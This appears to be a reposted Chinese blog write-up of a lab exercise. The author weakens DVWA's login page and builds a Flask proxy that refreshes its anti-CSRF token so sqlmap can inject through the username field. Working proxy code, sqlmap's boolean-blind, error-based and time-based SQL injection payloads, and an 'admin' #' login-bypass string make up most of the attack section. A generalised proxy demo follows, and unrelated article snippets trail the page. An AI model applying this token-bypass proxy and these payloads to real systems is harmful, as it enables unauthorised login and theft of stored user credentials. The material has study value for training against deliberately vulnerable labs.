【SQL代理中转注入】对DVWA登录界面username字段实施注入

一、实验过程

 

步骤0:注释掉相关username防护,截图如下:

以DVWA为攻击目标,将login.php中第21、22行注释掉

步骤1:源码分析,截图如下:

如此可知,首先需要通过token验证,然后能进行查询。

1.token验证通过。

这里token用到的函数是dvwaPage.inc.php中调用的

通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的:


①访问login.php,页面生成、存储并返回一个session_token1

②用户输入账号密码等动作,点击login,是以post方式把请求参数以及user_token=session_token1提交

③服务端接收请求,比较user_token是否等于存储的session_token,如果是则通过,进行下一步动作。

④服务端销毁旧token,生成、存储新的token,并把token附带在响应中返回

重复②~④


因此,我们只需要现访问login.php,不带参数,然后即可获取token,然后再将token作为参数之一,发送登录的请求包即可。

这就是我们中转页面所做的事情

2. token绕过以后

实际上就可以直接上SQLmap摁解了。但是如果我们细心的看一下sql查询语句,即可发现:如果我们输入形如的用户名,查询的sql语句即


admin' #  

-->  

SELECT * FROM `users` WHERE user='admin' # ' AND password='$pass';


也就是说直接查询登录(如果存在该合法用户)admin用户!

然而我们不只是要登录,还要获得尽可能所有人的账户密码,那就还是sqlmap吧~

开爆即可。

步骤2:编写基于Flask框架的中转:

from flask import Flask
from flask import request
import requests
import time
import hashlib
from bs4 import BeautifulSoup
def generate_session_token():# 模拟 PHP 的 uniqid() 函数unique_id = str(time.time())# 使用 md5 哈希算法生成会话令牌session_token = hashlib.md5(unique_id.encode()).hexdigest()print(session_token)return session_token
def custom_fun(payload):# 构造请求头部信息headers = {'Host': '127.0.0.1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','Origin': 'http://127.0.0.1','Connection': 'close','Referer': 'http://127.0.0.1/DVWA-master/login.php','Cookie': 'security=low; PHPSESSID=ooao2k5lopsqj2trhv42gi7r9i','Upgrade-Insecure-Requests': '1','Sec-Fetch-Dest': 'document','Sec-Fetch-Mode': 'navigate','Sec-Fetch-Site': 'same-origin','Sec-Fetch-User': '?1'}username=payload#获得session_tokenurl = 'http://127.0.0.1/DVWA-master/login.php'session=requests.session()resp=session.get(url=url, headers=headers)# 创建Beautiful Soup对象soup = BeautifulSoup(resp.text, 'html.parser')# 使用find方法找到第一个具有name属性为'user_token'的input标签input_tag = soup.find('input', {'name': 'user_token'})# 获取input标签的value属性值user_token_value = input_tag['value']print(user_token_value)user_token=user_token_value# 构造POST请求的数据data = {'username': username,'password': 'xxxxx','Login': 'Login','user_token': user_token}# print(data)session = requests.session()# 发送POST请求url = 'http://127.0.0.1/DVWA-master/login.php'resp = session.post(url=url, headers=headers ,data=data)    # resp = session.post(url=url,data=data)    resp.encoding = resp.apparent_encoding# print(resp.text)return resp.contentapp = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'GET':payload = request.args.get('payload')elif  request.method == 'POST':payload = request.form.get('payload')return custom_fun(payload)def main():app.run(host='0.0.0.0', port=5050, debug=True)if __name__ == "__main__":main()

步骤3:SQLmap报告结果,截图如下:

1.注入类型

sqlmap identified the following injection point(s) with a total of 465 HTTP(s) requests:

Parameter: payload (GET)

Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: payload=123' RLIKE (SELECT (CASE WHEN (3554=3554) THEN 123 ELSE 0x28 END))-- MmOp

Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: payload=123' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(2648=2648,1))),0x716a6b7871),2648)-- qezK

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: payload=123' AND (SELECT 2742 FROM (SELECT(SLEEP(5)))ooXF)—WVlp

二、注入结果

三、附录

这里把代理中转demo发一下,遇到相关需求,改相应代码和逻辑即可

# demo
from flask import Flask
from flask import request
import requests
import randomdef custom_fun(payload):email = '{}@qq.com'.format(int(random.random() * 10000000))username = payloadpassword = '123'proxy = {'http': '127.0.0.1:8080'}session = requests.session()# 注册burp0_url = "http://192.168.154.130:80/web/register.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)# 登陆burp0_url = "http://192.168.154.130:80/web/login.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}burp0_data = {"email": email, "pw": password, "submit": ''}r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)# 登陆后跳转到首页burp0_url = "http://192.168.154.130/web/index.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)    resp.encoding = resp.apparent_encodingreturn resp.textapp = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'GET':payload = request.args.get('payload')elif  request.method == 'POST':payload = request.form.get('payload')return custom_fun(payload)def main():app.run(host='127.0.0.1', debug=True)if __name__ == "__main__":main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2884.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CTFHub(web sql)(四)

Cookie注入 Cookie 注入的原理也和其他注入一样,只不过是将提交的参数已 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET …

feign整合sentinel做降级知识点

1&#xff0c;配置依赖 <!-- Feign远程调用依赖 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-openfeign</artifactId></dependency> <!--sentinel--><dependency>…

【数据结构(邓俊辉)学习笔记】向量04——有序向量

文章目录 0.概述1.比较器2.有序性甄别3.唯一化3.1低效算法3.1.1实现3.1.2 复杂度3.1.3 改进思路3.2 高效算法3.2.1 实现3.2.2 复杂度 4.查找4.1统一接口4.2 语义定义4.3 二分查找4.3.1 原理4.3.2 实现4.3.3 复杂度4.3.4 查找长度4.3.5 不足 4.4 Fibonacci查找4.4.1 思路及原理4…

【03-掌握Scikit-learn:深入机器学习的实用技术】

文章目录 前言数据预处理缺失值处理数据缩放特征选择模型训练参数调整模型评估总结前言 经过了对Python和Scikit-learn的基础安装及简单应用,我们现在将更深入地探究Scikit-learn的实用技术,以进一步提升我们的数据科学技能。在本文中,我们将涵盖数据预处理、特征选择、模型…

探索 VisionOS 辅助功能:VoiceOver 手势

当继续探索 VisionOS 时,一直在深入研究其辅助功能,特别是 VoiceOver。 VoiceOver 是一款基于手势的屏幕阅读器,让您无需看屏幕即可享受使用设备的乐趣。这对于基于视觉的设备非常重要,这样每个人都可以使用 Apple Vision Pro,无论其视觉能力如何。 Apple 一直在努力支持…

Qt中的 tableView 设置 二进制 十六进制 序号表头

二 进制序号 因为QTableView的垂直表头并不支持使用委托来自定义。 相反&#xff0c;可以通过将自定义的QWidget作为QHeaderView的标签来实现这一目标。 代码&#xff1a; #include <QApplication> #include <QMainWindow> #include <QVBoxLayout> #include …

反射 - - - - - - - - 内省【精细】

1、概念 Java内省机制&#xff08;Introspection&#xff09;是一种访问Java Bean属性的方式&#xff0c;它允许程序在运行时获取和设置Java对象的属性。通过内省机制&#xff0c;程序可以在运行时获取对象的属性名、类型和值&#xff0c;并动态地设置对象的属性值。内省机制为…

骑砍2霸主MOD开发(8)-action_sets.xml骨骼动画

一.action_sets.xml 1.文件目录:Modules\Native\ModuleData\action_sets.xml 2.action_set(骨骼动画animation) action1 action2 action3 3.通过在action_set中配置skeleton,人,马匹,牛,羊等骨架 二.使用编辑器修改动作 三.骨架&骨骼&骨骼动画 1.骨架skeleton Skele…

企业微信hook接口协议,根据手机号搜索联系人

根据手机号搜索联系人 参数名必选类型说明uuid是String每个实例的唯一标识&#xff0c;根据uuid操作具体企业微信 请求示例 {"uuid":"3240fde0-45e2-48c0-90e8-cb098d0ebe43","phoneNumber":"1357xxxx" } 返回示例 {"data&q…

opencv可视化图片-----c++

可视化图片 #include <opencv2/opencv.hpp> #include <opencv2/core.hpp> #include <filesystem>// 将数据类型转换为字符串 std::string opencvTool::type2str(int type) {std::string r;uchar depth type & CV_MAT_DEPTH_MASK;uchar chans 1 (typ…

rust是否可以用于8051单片机开发工作?

目前&#xff0c;Rust 在嵌入式领域的发展主要集中在一些常见的架构上&#xff0c;如ARM Cortex-M&#xff08;包括STM32系列&#xff09;、RISC-V等。我这里有一套嵌入式入门教程&#xff0c;不仅包含了详细的视频 讲解&#xff0c;项目实战。如果你渴望学习嵌入式&#xff0c…

递归、搜索与回溯算法:FloodFill 算法

例题一 算法思路&#xff1a; 可以利⽤「深搜」或者「宽搜」&#xff0c;遍历到与该点相连的所有「像素相同的点」&#xff0c;然后将其修改成指定的像素即可。 全局变量&#xff1a; int dx[4] { 0,0,1,-1 }, dy[4] { 1,-1,0,0 }; int m, n; int precolor;//记录原先的颜色…

debian和ubuntu的核心系统和系统命令的区别

Debian和Ubuntu虽然有很深的渊源&#xff0c;都是基于Debian的发行版&#xff0c;但它们在核心系统和系统命令上还是有一些差别的。以下是一些主要的不同之处&#xff1a; 1. 发布周期&#xff1a; - Debian&#xff1a; Debian项目采用滚动发布模型&#xff0c;持续更新&a…

CCF区块链会议--Middleware 2024 截止5.24 附录用率

会议名称&#xff1a;Middleware CCF等级&#xff1a;CCF B类会议 类别&#xff1a;软件工程/系统软件/程序设计语言 录用率&#xff1a;2022年录用率38%&#xff08;8/21&#xff09; Topics of Interest The Middleware conference seeks original submissions of resear…

【Linux网络】Linux网络设置

如果你不会网络设置&#xff0c;就好比自己的拖鞋被硬控了&#xff0c;导致自己无法下床 目录 一、网络配置 1.1 主要配置网络的配置项 1.2 ifconfig——查看网卡配置 1.3 route——路由 1.4 hostname——主机名 1.5 ss——查看网络链接状态 1.6 scp——远程拷贝 1.7 …

39、Lua 中调用C函数(lua-5.2.3)

Lua可以调用C函数的能力将极大的提高Lua的可扩展性和可用性。 对于有些和操作系统相关的功能&#xff0c;或者是对效率要求较高的模块&#xff0c;我们完全可以通过C函数来实现&#xff0c;之后再通过Lua调用指定的C函数。 对于那些可被Lua调用的C函数而言&#xff0c;其接口…

游戏热更新进修——Lua编程

Lua编程 Lua是什么 Lua是一种轻量小巧的脚本语言&#xff0c;用标准C语言编写并以源代码形式开放&#xff0c;其设计目的是为了嵌入应用程序中&#xff0c;从而为应用程序提供灵活的拓展和定制功能 Lua可以方便的和其他进程进行集成(C,c#,java,) Lua应用场景 游戏开发独立应…

<网络> HTTP

目录 前言&#xff1a; 一、再谈协议 &#xff08;一&#xff09;认识URL &#xff08;二&#xff09;Encode 和 Decode 二、HTTP 协议 &#xff08;一&#xff09;协议格式 &#xff08;二&#xff09;见一见请求 &#xff08;三&#xff09;见一见响应 三、模拟实现响…

百度安全多篇议题入选Blackhat Asia以硬技术发现“芯”问题

Blackhat Asia 2024于4月中旬在新加坡隆重举行。此次大会聚集了业界最杰出的信息安全专业人士和研究者&#xff0c;为参会人员提供了安全领域最新的研究成果和发展趋势。在本次大会上&#xff0c;百度安全共有三篇技术议题被大会收录&#xff0c;主要围绕自动驾驶控制器安全、跨…

nvm的简介、安装、使用

一、nvm是什么&#xff1f; nvm是一个node的版本管理工具&#xff0c;可以简单操作node版本的切换、安装、查看。。。等等&#xff0c;与npm不同的是&#xff0c;npm是依赖包的管理工具。 二、nvm的安装。 2.1 nvm下载 安装包下载地址&#xff1a;https://github.com/coreyb…